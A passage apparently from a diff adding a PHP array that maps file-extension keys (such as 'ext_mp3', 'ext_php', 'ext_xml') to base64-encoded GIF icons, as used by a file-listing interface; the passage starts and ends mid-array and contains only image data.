+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_jpeg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_m1v"=> +"R0lGODlhEAAQADMAACH5BAEAAAwALAAAAAAQABAAgwAAAICAgMDAwP///4AAAICAAACAAP//AP8A". +"AAAA/wCAgAD//wAAAAAAAAAAAAAAAARlkEkZapiY2iDEzUwwjMmSjN8kCoAXKEmXhsLADUJSFDYW". +"AKOa7bDzqG42UYFopHRqLMHOUDmungbDQTH74ToDQ0Fr8Ak5guy4QPCNWizCATFvq2xxBB1h91UJ". +"BHx9IBOAg4SIDBEAOw==", +"ext_m3u"=> +"R0lGODlhEAAQAEQAACH5BAEAABUALAAAAAAQABAAhAAAAPLy8v+qAHNKAD4+Prl6ADIyMubm5v+4". +"SLa2tm5ubsDAwJ6ennp6ev/Ga1AyAP+Pa/+qJWJiYoCAgHMlAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVzYCWOlQSQAEWORMCcABENa9UG7lNExUnegcQAIeitgIoC0fjDNQYCokBh". +"8NmCUIdDKhi8roGGYMztugCARXgwcIzHg0TgYKikg9yCAkcfASZccXx1fhBjejhzhCIAhlNygytQ". +"PXeKNQMPPml9NVaMBDUVIQA7", +"ext_mdb"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAEV/BIRKuV+KDHO0eAFBRjSRbfE6JeFxwqIAcdQm4FzB0A+5AP2qvDo3FM". +"P92DxzJtXpIlQHjr5KLMX2Dj2kmNrZ+XaSqPQ5NdBovWhD08DGJNb4Nk+LwsAgA7", +"ext_mid"=> +"R0lGODlhEAAQACIAACH5BAEAAAQALAAAAAAQABAAggAAAP///4CAgMDAwAAAAAAAAAAAAAAAAANE". +"SCTcrnCFSecQUVY6AoYCBQDiCIDlyJ1KOJGqxWoBWa/oq8t5bAeDWci0Awprtpgx91IGmcjKs7XZ". +"TBeDrHZ7NXm/pwQAOw==", +"ext_midi"=> +"R0lGODlhEAAQACIAACH5BAEAAAQALAAAAAAQABAAggAAAP///4CAgMDAwAAAAAAAAAAAAAAAAANE". +"SCTcrnCFSecQUVY6AoYCBQDiCIDlyJ1KOJGqxWoBWa/oq8t5bAeDWci0Awprtpgx91IGmcjKs7XZ". +"TBeDrHZ7NXm/pwQAOw==", +"ext_mov"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAEU/DIg6q1M6PH+6OZtHnc8SDhSAIsoJHeAQiTCsuCoOR8zlU4lmIIGApm". +"CBdL1hruirLoQec0so5SQYKomAEeSxezRe5IRTCzGJ3+rEGhzJtMb0UAADs=", +"ext_mp3"=> +"R0lGODdhEAAQAPcAAAAAACMjIyAgIEpKSgQNGxIWHzMzM////0dISQIMHCwoHNqbMHNMAPj9/1RP". +"YZdfAP/NVP+5ADEqH1xpgjcZAP+6D//Mb/+vAB0YDgYLEzg4OJGcrzMUAOOWAP+9AP/AVf+qADs5". +"N0pOVh4eHhUVGLJyAP/AA/+vDP+1HP+0AOihABUMAGJqevWqEf/BMv+zLP/cqv+1APWPAPePAKha". +"ALjAy2NsfvqkAP+xAP/QefWsAPRtAP+eAP/OAE0YANTY4Tk5OQAABNC3e/qQAPZuAP/IAOeaAAwG". +"AL7F0QAADt61Xv9xAP+gAP/FAGU2AElXdAseMemaXfeJAP/KANeGAAkJCdXc6R0mMNePS/++AEUo". +"AImXrQgVLP/YALh9ACQmKxUcJkJCQiMmLGVJERgjOBMTEwsOFQAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAEAAQAAAIuwCRCByI". +"JEAAgggJChgwQIBAAgUSIhFg4MABBAkULGCQkKLFBg4eQIggAaHHAxMoVLBwAYNJDQc2cOjg4QOI". +"ECJGDBQAk0QJEydQpFCx4oAGhwEGHGDRwsULGDFkzKBR48AAg0pt3MCRQ8cOHj18/LB6UACQA0GE". +"DCFSxMgRJAcMOBQoIImSJUyaOHliUS5BKFGkTKFSxUrfuQKvYImQRcsWi3ERC+TSxcsXMGEOJxQz". +"hgxdhpIlCjQoMSAAOw==", +"ext_mp4"=> +"R0lGODdhEAAQAPcAAAAAACMjIyAgIEpKSgQNGxIWHzMzM////0dISQIMHCwoHNqbMHNMAPj9/1RP". +"YZdfAP/NVP+5ADEqH1xpgjcZAP+6D//Mb/+vAB0YDgYLEzg4OJGcrzMUAOOWAP+9AP/AVf+qADs5". +"N0pOVh4eHhUVGLJyAP/AA/+vDP+1HP+0AOihABUMAGJqevWqEf/BMv+zLP/cqv+1APWPAPePAKha". +"ALjAy2NsfvqkAP+xAP/QefWsAPRtAP+eAP/OAE0YANTY4Tk5OQAABNC3e/qQAPZuAP/IAOeaAAwG". +"AL7F0QAADt61Xv9xAP+gAP/FAGU2AElXdAseMemaXfeJAP/KANeGAAkJCdXc6R0mMNePS/++AEUo". +"AImXrQgVLP/YALh9ACQmKxUcJkJCQiMmLGVJERgjOBMTEwsOFQAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAEAAQAAAIuwCRCByI". +"JEAAgggJChgwQIBAAgUSIhFg4MABBAkULGCQkKLFBg4eQIggAaHHAxMoVLBwAYNJDQc2cOjg4QOI". +"ECJGDBQAk0QJEydQpFCx4oAGhwEGHGDRwsULGDFkzKBR48AAg0pt3MCRQ8cOHj18/LB6UACQA0GE". +"DCFSxMgRJAcMOBQoIImSJUyaOHliUS5BKFGkTKFSxUrfuQKvYImQRcsWi3ERC+TSxcsXMGEOJxQz". +"hgxdhpIlCjQoMSAAOw==", +"ext_mpe"=> +"R0lGODlhEAAQADMAACH5BAEAAAsALAAAAAAQABAAgwAAAP///4CAgMDAwACAgICAAACAAP8AAP//". +"AIAAAAD//wAAAAAAAAAAAAAAAAAAAARqcMlBKxUyz8B7EJi2DF4nfCIJgiTgAtl6BoNAUvBik0RP". +"2zTYSQDgKQif00Co4ggKhRMgqKM4AwWE1MacTaFRAFdCpHEMBARBvCQ7SYY4cewmDtCFg4uo2REP". +"Bwh6fBovAAkHCYYihS4iEQA7", +"ext_mpeg"=> +"R0lGODlhEAAQADMAACH5BAEAAAsALAAAAAAQABAAgwAAAP///4CAgMDAwACAgICAAACAAP8AAP//". +"AIAAAAD//wAAAAAAAAAAAAAAAAAAAARqcMlBKxUyz8B7EJi2DF4nfCIJgiTgAtl6BoNAUvBik0RP". +"2zTYSQDgKQif00Co4ggKhRMgqKM4AwWE1MacTaFRAFdCpHEMBARBvCQ7SYY4cewmDtCFg4uo2REP". +"Bwh6fBovAAkHCYYihS4iEQA7", +"ext_mpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAsALAAAAAAQABAAgwAAAP///4CAgMDAwACAgICAAACAAP8AAP//". +"AIAAAAD//wAAAAAAAAAAAAAAAAAAAARqcMlBKxUyz8B7EJi2DF4nfCIJgiTgAtl6BoNAUvBik0RP". +"2zTYSQDgKQif00Co4ggKhRMgqKM4AwWE1MacTaFRAFdCpHEMBARBvCQ7SYY4cewmDtCFg4uo2REP". +"Bwh6fBovAAkHCYYihS4iEQA7", +"ext_nfo"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_ocx"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAIAAAP8AAP//AAAA/wD/AACAAAAAgICA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARKMMlJq704620AQlMQAABlFMAwlIEgEESZnKg6tEJwwOVZ". +"IjfXKLHryRK4oaRDJByQwlQP1SQkUypAgdpsDYErruRAOpaPm7Q6HQEAOw==", +"ext_pcx"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA". +"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q". +"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3". +"EzWCgwARADs=", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pif"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAEO/DISasEOGuNDkJMeDDjGH7HpmYd9jwazKUybG+tvOlA7gK1mYv3w7RW". +"mJRRiRQ2Z5+odNqxWK/YrDUCADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_png"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA". +"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q". +"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3". +"EzWCgwARADs=", +"ext_reg"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgACAgMDAwAD//wAAAAAAAANM". +"aCrcrtCIQCslIkprScjQxFFACYQO053SMASFC6xSEQCvvAr2gMuzCgEwiZlwwQtRlkPuej2nkAh7". +"GZPK43E0DI1oC4J4TO4qtOhSAgA7", +"ext_rev"=> +"R0lGODlhEAAQAFUAACH5BAEAAD8ALAAAAAAQABAAhQAAAOvz+////1gdAFAAANDY4IYCU/9aZJIC". +"Wtvi7PmyheLq8xE2AAAyUNTc5DIyMr7H09jf5/L5/+Dg8PX6/4SHl/D4/5OXpKGmse/2/ZicqPb6". +"/28aIBlOAMHI0MzU3MXFHjJQAOfu9d7k7gA4Xv//sRVDAI0GUY0CU+Hn8ABbjfFwOABMfwhfL/99". +"0v+H1+hatf9syvRjwP+V3gA4boCAAABQhf+j5f++8P950FBQAN/n8PD2/HNzAABilgAAAAaRwIFw". +"SCz+MJpLhdMzOJ9PAqRQmJxKuNvs5crFZDBCwSIQcECItDqNIlAkGcejRqjb74C8fs8/JiskLD4e". +"BRERCSMpIg1TVTYqAZGRPBsCCw1jZTSVZZ0CAZdvcQ+SBwqfn5d8pacBqX5KJgEHtAcrrTsMjRM6". +"rKgLBQyZAiG+rh8tDKJyCc3OEQUdHQx81Xs/QQA7", +"ext_rmi"=> +"R0lGODlhFAAUAKL/AAAAAH8Af//4/8DAwL+/v39/fwAAAAAAACH5BAEAAAMALAAAAAAUABQAQANS". +"OLrcvkXIMKUg4BXCu8eaJV5C8QxRQAmqBTpFLM+nEk3qemUwXkmvxs3n4tWOyCRk5DKdhi0JYGpk". +"QFm6oNWyylaXud8uxI2Oe8zig8puf5WNBAA7", +"ext_rtf"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_shtm"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc". +"ETbgR3aZmrIlVgAAOw==", +"ext_shtml"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc". +"ETbgR3aZmrIlVgAAOw==", +"ext_so"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_stl"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd". +"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_sys"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAgv///wAAAICAgMDAwICAAP//AAAAAAAAAANJ". +"aLLc9lCASecQ8MlKB8ARRwVkEIqdqU0EEXCDqkxB4VZxSBTB8lqyTSD2+eVWE0lP8DrORgMiwLkZ". +"/aZBVOqkpUa/4KisRC6rEgA7", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_theme"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAAD/AAAA/wCAAAAA". +"gAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_url"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg4CAgAAAAMDAwP///wAA/wAAgACAAAD/AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARdEMk5gQU0IyuOMUV1XYf3ESEgrCwQnGgQAENdjwCBFjO7". +"Xj9AaYbjFArBme1mKeiQLpWvqdMJosXB1akKbGxSzvXqVXEGNKDAuyGq0NqriyJTW2QaRP3Ozktk". +"fRQRADs=", +"ext_vbe"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMAAAP8AAAAAAAAAAAADRii63CEgxibH". +"kwDWEK3OACF6nDdhngWYoEgEMLde4IbS7SjPX93JrIwiIJrxTqTfERJUHTODgSAQ3QVjsZsgyu16". +"seAwLAEAOw==", +"ext_vbs"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAICAgMDAwAD//wCAgAAAAAAAAAAAAANQ". +"GLrcECXGJsWTJYyybbTQVBAkCBSgyKGPl2YjCcwnG2qrV13TQBI6GwbXqb0yCgCJJYSZOK4LZPDY". +"DHSvgEAQAGxrzQKNhgFtz+j0eM2eJQAAOw==", +"ext_vcf"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwICAAP//AAAA/4CAgIAAAAAAgP//". +"//8AAAAAAAAAAAAAAAAAAAAAAAAAAARYUElAK5VY2X0xp0LRTVYQAMWZaZWJAMJImiYVhEVmu7W4". +"srfeSUAUeFI10GBJ1JhEHcEgNiidDIaEQjqtAgiEjQFQXcK+4HS4DPKADwey3PjzSGH1VTsTAQA7", +"ext_wav"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_wma"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_wmf"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA". +"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q". +"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3". +"EzWCgwARADs=", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7", +"ext_xsl"=> +"R0lGODlhEAAQAEQAACH5BAEAABIALAAAAAAQABAAhAAAAPHx8f///4aGhoCAAP//ADNmmabK8AAA". +"gAAAmQCAgDP//zNm/zOZ/8DAwDOZAAAA/zPM/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAV3oDSMZDlKqBgIa8sKzpAOr9s6gqzWPOADItZhpVAwhCvgIHBICBSCRQMh". +"SAyVTZZiEXkgVlYl08loPCBUa0ApIBBWiDhSAHQXfLZavcAnABQGgYFJBHwDAAV+eWt2AAOJAIKD". 